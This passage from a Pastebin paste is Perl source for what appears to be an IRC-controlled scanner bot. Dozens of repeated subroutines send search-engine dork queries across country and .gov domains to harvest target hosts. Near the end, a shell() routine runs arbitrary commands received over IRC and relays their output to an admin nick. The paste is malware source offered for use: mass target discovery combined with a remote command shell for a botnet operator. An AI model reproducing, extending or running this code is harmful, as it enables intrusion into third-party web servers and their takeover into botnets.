  3837. my $search = ($jack6.uri_escape($key)."%2Btravel%26num%3D100%26start%3D".$i);
  3838. my $res = &search_engine_query($search);
  3839. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3840. my $link = $1;
  3841. if ($link !~ /google/){
  3842. my @grep = &links($link);
  3843. push(@list,@grep);
  3844. }
  3845. }
  3846. }
  3847. return @list;
  3848. }
  3849.  
  3850. sub sa() {
  3851. my @list;
  3852. my $key = $_[0];
  3853. for (my $i=0; $i<=1000; $i+=100){
  3854. my $search = ($jack4.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i);
  3855. my $res = &search_engine_query($search);
  3856. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3857. my $link = $1;
  3858. if ($link !~ /google/){
  3859. my @grep = &links($link);
  3860. push(@list,@grep);
  3861. }
  3862. }
  3863. }
  3864. return @list;
  3865. }
  3866.  
  3867. sub do() {
  3868. my @list;
  3869. my $key = $_[0];
  3870. for (my $i=0; $i<=1000; $i+=100){
  3871. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i);
  3872. my $res = &search_engine_query($search);
  3873. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3874. my $link = $1;
  3875. if ($link !~ /google/){
  3876. my @grep = &links($link);
  3877. push(@list,@grep);
  3878. }
  3879. }
  3880. }
  3881. return @list;
  3882. }
  3883.  
  3884. sub am() {
  3885. my @list;
  3886. my $key = $_[0];
  3887. for (my $i=0; $i<=1000; $i+=100){
  3888. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i);
  3889. my $res = &search_engine_query($search);
  3890. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3891. my $link = $1;
  3892. if ($link !~ /google/){
  3893. my @grep = &links($link);
  3894. push(@list,@grep);
  3895. }
  3896. }
  3897. }
  3898. return @list;
  3899. }
  3900.  
  3901. sub eg() {
  3902. my @list;
  3903. my $key = $_[0];
  3904. for (my $i=0; $i<=1000; $i+=100){
  3905. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i);
  3906. my $res = &search_engine_query($search);
  3907. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3908. my $link = $1;
  3909. if ($link !~ /google/){
  3910. my @grep = &links($link);
  3911. push(@list,@grep);
  3912. }
  3913. }
  3914. }
  3915. return @list;
  3916. }
  3917.  
  3918. sub fm() {
  3919. my @list;
  3920. my $key = $_[0];
  3921. for (my $i=0; $i<=1000; $i+=100){
  3922. my $search = ($jack3.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i);
  3923. my $res = &search_engine_query($search);
  3924. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3925. my $link = $1;
  3926. if ($link !~ /google/){
  3927. my @grep = &links($link);
  3928. push(@list,@grep);
  3929. }
  3930. }
  3931. }
  3932. return @list;
  3933. }
  3934.  
  3935. sub ge() {
  3936. my @list;
  3937. my $key = $_[0];
  3938. for (my $i=0; $i<=1000; $i+=100){
  3939. my $search = ($jack4.uri_escape($key)."%2Bsite%3Age%26num%3D100%26start%3D".$i);
  3940. my $res = &search_engine_query($search);
  3941. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3942. my $link = $1;
  3943. if ($link !~ /google/){
  3944. my @grep = &links($link);
  3945. push(@list,@grep);
  3946. }
  3947. }
  3948. }
  3949. return @list;
  3950. }
  3951.  
  3952. sub ky() {
  3953. my @list;
  3954. my $key = $_[0];
  3955. for (my $i=0; $i<=1000; $i+=100){
  3956. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i);
  3957. my $res = &search_engine_query($search);
  3958. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3959. my $link = $1;
  3960. if ($link !~ /google/){
  3961. my @grep = &links($link);
  3962. push(@list,@grep);
  3963. }
  3964. }
  3965. }
  3966. return @list;
  3967. }
  3968.  
  3969. sub lu() {
  3970. my @list;
  3971. my $key = $_[0];
  3972. for (my $i=0; $i<=1000; $i+=100){
  3973. my $search = ($jack6.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i);
  3974. my $res = &search_engine_query($search);
  3975. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3976. my $link = $1;
  3977. if ($link !~ /google/){
  3978. my @grep = &links($link);
  3979. push(@list,@grep);
  3980. }
  3981. }
  3982. }
  3983. return @list;
  3984. }
  3985.  
  3986. sub mk() {
  3987. my @list;
  3988. my $key = $_[0];
  3989. for (my $i=0; $i<=1000; $i+=100){
  3990. my $search = ($jack7.uri_escape($key)."%2Bsite%3Amk%26num%3D100%26start%3D".$i);
  3991. my $res = &search_engine_query($search);
  3992. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3993. my $link = $1;
  3994. if ($link !~ /google/){
  3995. my @grep = &links($link);
  3996. push(@list,@grep);
  3997. }
  3998. }
  3999. }
  4000. return @list;
  4001. }
  4002.  
  4003. sub pa() {
  4004. my @list;
  4005. my $key = $_[0];
  4006. for (my $i=0; $i<=1000; $i+=100){
  4007. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i);
  4008. my $res = &search_engine_query($search);
  4009. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4010. my $link = $1;
  4011. if ($link !~ /google/){
  4012. my @grep = &links($link);
  4013. push(@list,@grep);
  4014. }
  4015. }
  4016. }
  4017. return @list;
  4018. }
  4019.  
  4020. sub sg() {
  4021. my @list;
  4022. my $key = $_[0];
  4023. for (my $i=0; $i<=1000; $i+=100){
  4024. my $search = ($jack2.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i);
  4025. my $res = &search_engine_query($search);
  4026. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4027. my $link = $1;
  4028. if ($link !~ /google/){
  4029. my @grep = &links($link);
  4030. push(@list,@grep);
  4031. }
  4032. }
  4033. }
  4034. return @list;
  4035. }
  4036.  
  4037. sub sy() {
  4038. my @list;
  4039. my $key = $_[0];
  4040. for (my $i=0; $i<=1000; $i+=100){
  4041. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asy%26num%3D100%26start%3D".$i);
  4042. my $res = &search_engine_query($search);
  4043. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4044. my $link = $1;
  4045. if ($link !~ /google/){
  4046. my @grep = &links($link);
  4047. push(@list,@grep);
  4048. }
  4049. }
  4050. }
  4051. return @list;
  4052. }
  4053.  
  4054. sub az() {
  4055. my @list;
  4056. my $key = $_[0];
  4057. for (my $i=0; $i<=1000; $i+=100){
  4058. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i);
  4059. my $res = &search_engine_query($search);
  4060. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4061. my $link = $1;
  4062. if ($link !~ /google/){
  4063. my @grep = &links($link);
  4064. push(@list,@grep);
  4065. }
  4066. }
  4067. }
  4068. return @list;
  4069. }
  4070.  
  4071. sub la() {
  4072. my @list;
  4073. my $key = $_[0];
  4074. for (my $i=0; $i<=1000; $i+=100){
  4075. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i);
  4076. my $res = &search_engine_query($search);
  4077. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4078. my $link = $1;
  4079. if ($link !~ /google/){
  4080. my @grep = &links($link);
  4081. push(@list,@grep);
  4082. }
  4083. }
  4084. }
  4085. return @list;
  4086. }
  4087.  
  4088. sub bd() {
  4089. my @list;
  4090. my $key = $_[0];
  4091. for (my $i=0; $i<=1000; $i+=100){
  4092. my $search = ($jack6.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i);
  4093. my $res = &search_engine_query($search);
  4094. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4095. my $link = $1;
  4096. if ($link !~ /google/){
  4097. my @grep = &links($link);
  4098. push(@list,@grep);
  4099. }
  4100. }
  4101. }
  4102. return @list;
  4103. }
  4104.  
  4105. sub cy() {
  4106. my @list;
  4107. my $key = $_[0];
  4108. for (my $i=0; $i<=1000; $i+=100){
  4109. my $search = ($jack3.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i);
  4110. my $res = &search_engine_query($search);
  4111. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4112. my $link = $1;
  4113. if ($link !~ /google/){
  4114. my @grep = &links($link);
  4115. push(@list,@grep);
  4116. }
  4117. }
  4118. }
  4119. return @list;
  4120. }
  4121.  
  4122. sub sn() {
  4123. my @list;
  4124. my $key = $_[0];
  4125. for (my $i=0; $i<=1000; $i+=100){
  4126. my $search = ($jack4.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i);
  4127. my $res = &search_engine_query($search);
  4128. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4129. my $link = $1;
  4130. if ($link !~ /google/){
  4131. my @grep = &links($link);
  4132. push(@list,@grep);
  4133. }
  4134. }
  4135. }
  4136. return @list;
  4137. }
  4138.  
  4139. sub museum() {
  4140. my @list;
  4141. my $key = $_[0];
  4142. for (my $i=0; $i<=1000; $i+=100){
  4143. my $search = ($jack1.uri_escape($key)."%2Bmuseum%26num%3D100%26start%3D".$i);
  4144. my $res = &search_engine_query($search);
  4145. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4146. my $link = $1;
  4147. if ($link !~ /google/){
  4148. my @grep = &links($link);
  4149. push(@list,@grep);
  4150. }
  4151. }
  4152. }
  4153. return @list;
  4154. }
  4155.  
  4156. sub gov() {
  4157. my @list;
  4158. my $key = $_[0];
  4159. for (my $i=0; $i<=1000; $i+=100){
  4160. my $search = ($jack2.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i);
  4161. my $res = &search_engine_query($search);
  4162. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4163. my $link = $1;
  4164. if ($link !~ /google/){
  4165. my @grep = &links($link);
  4166. push(@list,@grep);
  4167. }
  4168. }
  4169. }
  4170. return @list;
  4171. }
  4172.  
  4173. sub tk() {
  4174. my @list;
  4175. my $key = $_[0];
  4176. for (my $i=0; $i<=1000; $i+=100){
  4177. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i);
  4178. my $res = &search_engine_query($search);
  4179. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4180. my $link = $1;
  4181. if ($link !~ /google/){
  4182. my @grep = &links($link);
  4183. push(@list,@grep);
  4184. }
  4185. }
  4186. }
  4187. return @list;
  4188. }
  4189.  
  4190. sub nu() {
  4191. my @list;
  4192. my $key = $_[0];
  4193. for (my $i=0; $i<=1000; $i+=100){
  4194. my $search = ($jack4.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i);
  4195. my $res = &search_engine_query($search);
  4196. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4197. my $link = $1;
  4198. if ($link !~ /google/){
  4199. my @grep = &links($link);
  4200. push(@list,@grep);
  4201. }
  4202. }
  4203. }
  4204. return @list;
  4205. }
  4206.  
  4207. sub zm() {
  4208. my @list;
  4209. my $key = $_[0];
  4210. for (my $i=0; $i<=1000; $i+=100){
  4211. my $search = ($jack5.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i);
  4212. my $res = &search_engine_query($search);
  4213. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4214. my $link = $1;
  4215. if ($link !~ /google/){
  4216. my @grep = &links($link);
  4217. push(@list,@grep);
  4218. }
  4219. }
  4220. }
  4221. return @list;
  4222. }
  4223.  
  4224. sub ye() {
  4225. my @list;
  4226. my $key = $_[0];
  4227. for (my $i=0; $i<=1000; $i+=100){
  4228. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i);
  4229. my $res = &search_engine_query($search);
  4230. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4231. my $link = $1;
  4232. if ($link !~ /google/){
  4233. my @grep = &links($link);
  4234. push(@list,@grep);
  4235. }
  4236. }
  4237. }
  4238. return @list;
  4239. }
  4240.  
  4241. sub cu() {
  4242. my @list;
  4243. my $key = $_[0];
  4244. for (my $i=0; $i<=1000; $i+=100){
  4245. my $search = ($jack7.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i);
  4246. my $res = &search_engine_query($search);
  4247. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4248. my $link = $1;
  4249. if ($link !~ /google/){
  4250. my @grep = &links($link);
  4251. push(@list,@grep);
  4252. }
  4253. }
  4254. }
  4255. return @list;
  4256. }
  4257.  
  4258. sub to() {
  4259. my @list;
  4260. my $key = $_[0];
  4261. for (my $i=0; $i<=1000; $i+=100){
  4262. my $search = ($jack1.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i);
  4263. my $res = &search_engine_query($search);
  4264. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4265. my $link = $1;
  4266. if ($link !~ /google/){
  4267. my @grep = &links($link);
  4268. push(@list,@grep);
  4269. }
  4270. }
  4271. }
  4272. return @list;
  4273. }
  4274.  
  4275. sub tz() {
  4276. my @list;
  4277. my $key = $_[0];
  4278. for (my $i=0; $i<=1000; $i+=100){
  4279. my $search = ($jack2.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i);
  4280. my $res = &search_engine_query($search);
  4281. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4282. my $link = $1;
  4283. if ($link !~ /google/){
  4284. my @grep = &links($link);
  4285. push(@list,@grep);
  4286. }
  4287. }
  4288. }
  4289. return @list;
  4290. }
  4291.  
  4292. sub rs() {
  4293. my @list;
  4294. my $key = $_[0];
  4295. for (my $i=0; $i<=1000; $i+=100){
  4296. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i);
  4297. my $res = &search_engine_query($search);
  4298. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4299. my $link = $1;
  4300. if ($link !~ /google/){
  4301. my @grep = &links($link);
  4302. push(@list,@grep);
  4303. }
  4304. }
  4305. }
  4306. return @list;
  4307. }
  4308.  
  4309. sub pm() {
  4310. my @list;
  4311. my $key = $_[0];
  4312. for (my $i=0; $i<=1000; $i+=100){
  4313. my $search = ($jack4.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i);
  4314. my $res = &search_engine_query($search);
  4315. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4316. my $link = $1;
  4317. if ($link !~ /google/){
  4318. my @grep = &links($link);
  4319. push(@list,@grep);
  4320. }
  4321. }
  4322. }
  4323. return @list;
  4324. }
  4325.  
  4326. sub lt() {
  4327. my @list;
  4328. my $key = $_[0];
  4329. for (my $i=0; $i<=1000; $i+=100){
  4330. my $search = ($jack5.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i);
  4331. my $res = &search_engine_query($search);
  4332. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4333. my $link = $1;
  4334. if ($link !~ /google/){
  4335. my @grep = &links($link);
  4336. push(@list,@grep);
  4337. }
  4338. }
  4339. }
  4340. return @list;
  4341. }
  4342.  
  4343. sub mz() {
  4344. my @list;
  4345. my $key = $_[0];
  4346. for (my $i=0; $i<=1000; $i+=100){
  4347. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i);
  4348. my $res = &search_engine_query($search);
  4349. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4350. my $link = $1;
  4351. if ($link !~ /google/){
  4352. my @grep = &links($link);
  4353. push(@list,@grep);
  4354. }
  4355. }
  4356. }
  4357. return @list;
  4358. }
  4359.  
  4360. sub ma() {
  4361. my @list;
  4362. my $key = $_[0];
  4363. for (my $i=0; $i<=1000; $i+=100){
  4364. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i);
  4365. my $res = &search_engine_query($search);
  4366. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4367. my $link = $1;
  4368. if ($link !~ /google/){
  4369. my @grep = &links($link);
  4370. push(@list,@grep);
  4371. }
  4372. }
  4373. }
  4374. return @list;
  4375. }
  4376.  
  4377. sub al() {
  4378. my @list;
  4379. my $key = $_[0];
  4380. for (my $i=0; $i<=1000; $i+=100){
  4381. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i);
  4382. my $res = &search_engine_query($search);
  4383. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4384. my $link = $1;
  4385. if ($link !~ /google/){
  4386. my @grep = &links($link);
  4387. push(@list,@grep);
  4388. }
  4389. }
  4390. }
  4391. return @list;
  4392. }
  4393.  
  4394. sub ec() {
  4395. my @list;
  4396. my $key = $_[0];
  4397. for (my $i=0; $i<=1000; $i+=100){
  4398. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i);
  4399. my $res = &search_engine_query($search);
  4400. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4401. my $link = $1;
  4402. if ($link !~ /google/){
  4403. my @grep = &links($link);
  4404. push(@list,@grep);
  4405. }
  4406. }
  4407. }
  4408. return @list;
  4409. }
  4410.  
  4411. sub kg() {
  4412. my @list;
  4413. my $key = $_[0];
  4414. for (my $i=0; $i<=1000; $i+=100){
  4415. my $search = ($jack1.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i);
  4416. my $res = &search_engine_query($search);
  4417. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4418. my $link = $1;
  4419. if ($link !~ /google/){
  4420. my @grep = &links($link);
  4421. push(@list,@grep);
  4422. }
  4423. }
  4424. }
  4425. return @list;
  4426. }
  4427.  
  4428. sub uz() {
  4429. my @list;
  4430. my $key = $_[0];
  4431. for (my $i=0; $i<=1000; $i+=100){
  4432. my $search = ($jack2.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  4433. my $res = &search_engine_query($search);
  4434. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4435. my $link = $1;
  4436. if ($link !~ /google/){
  4437. my @grep = &links($link);
  4438. push(@list,@grep);
  4439. }
  4440. }
  4441. }
  4442. return @list;
  4443. }
  4444.  
  4445. sub sv() {
  4446. my @list;
  4447. my $key = $_[0];
  4448. for (my $i=0; $i<=1000; $i+=100){
  4449. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i);
  4450. my $res = &search_engine_query($search);
  4451. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4452. my $link = $1;
  4453. if ($link !~ /google/){
  4454. my @grep = &links($link);
  4455. push(@list,@grep);
  4456. }
  4457. }
  4458. }
  4459. return @list;
  4460. }
  4461. #########################################
  4462.  
  4463. sub clean() {
  4464. my @cln = ();
  4465. my %visit = ();
  4466. foreach my $element (@_) {
  4467. $element =~ s/\/+/\//g;
  4468. next if $visit{$element}++;
  4469. push @cln, $element;
  4470. }
  4471. return @cln;
  4472. }
  4473.  
  4474. sub links() {
  4475. my @list;
  4476. my $host = $_[0];
  4477. my $hdir = $_[0];
  4478. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  4479. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  4480. $host .= "/";
  4481. $hdir .= "/";
  4482. $host =~ s/\/\//\//g;
  4483. $hdir =~ s/\/\//\//g;
  4484. push(@list,$host,$hdir);
  4485. return @list;
  4486. }
  4487.  
  4488. sub search_engine_query() {
  4489. my $url = $_[0];
  4490. $url =~ s/http:\/\///;
  4491. my $host = $url;
  4492. my $query = $url;
  4493. my $page = "";
  4494. $host =~ s/href=\"?http:\/\///;
  4495. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  4496. $query =~ s/$host//;
  4497. if ($query eq "") { $query = "/"; }
  4498. eval {
  4499. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  4500. my $sget = "GET $query HTTP/1.0\r\n";
  4501. $sget .= "Host: $host\r\n";
  4502. $sget .= "Accept: */*\r\n";
  4503. $sget .= "User-Agent: $uagent\r\n";
  4504. $sget .= "Connetion: Close\r\n\r\n";
  4505. print $sock $sget;
  4506. my @pages = <$sock>;
  4507. $page = "@pages";
  4508. close($sock);
  4509. };
  4510. return $page;
  4511. }
  4512.  
  4513. #########################################
  4514.  
  4515. sub shell() {
  4516. my $path = $_[0];
  4517. my $cmd = $_[1];
  4518. if ($cmd =~ /cd (.*)/) {
  4519. chdir("$1") || &msg("$path","No such file or directory");
  4520. return;
  4521. }
  4522. elsif ($pid = fork) { waitpid($pid, 0); }
  4523. else { if (fork) { exit; } else {
  4524. my @output = `$cmd 2>&1 3>&1`;
  4525. my $c = 0;
  4526. foreach my $output (@output) {
  4527. $c++;
  4528. chop $output;
  4529. &msg("$path","$output");
  4530. if ($c == 5) { $c = 0; sleep 3; }
  4531. }
  4532. exit;
  4533. }}
  4534. }
  4535.  
  4536. sub isAdmin() {
  4537. my $status = 0;
  4538. my $nick = $_[0];
  4539. if ($nick eq $admin) { $status = 1; }
  4540. return $status;
  4541. }
  4542.  
  4543. sub msg() {
  4544. return unless $#_ == 1;
  4545. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  4546. }
  4547.  
  4548. sub nick() {
  4549. return unless $#_ == 0;
  4550. sendraw("NICK $_[0]");
  4551. }
  4552.  
  4553. sub read_dorks() {
  4554. my $dork = uri_escape($_[0]);
  4555. my $file = "dorks.txt";
  4556. my $success = 0;
  4557. open (file,"<$file");
  4558. while (my $dorkx=<file>) {
  4559. chop($dorkx);
  4560. if ($dorkx =~ /$dork/){
  4561. $success = 1;
  4562. }
  4563. }
  4564. close file;
  4565. return $success;
  4566. }
  4567.  
  4568. sub write_dorks() {
  4569. my $dorks = uri_escape($_[0]);
  4570. my $file = "dorks.txt";
  4571. open (filex,">>$file");
  4572. print filex $dorks."\n";
  4573. close filex;
  4574. }
  4575.  
  4576. sub notice() {
  4577. return unless $#_ == 1;
  4578. sendraw("NOTICE $_[0] :$_[1]");
  4579. }}}
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!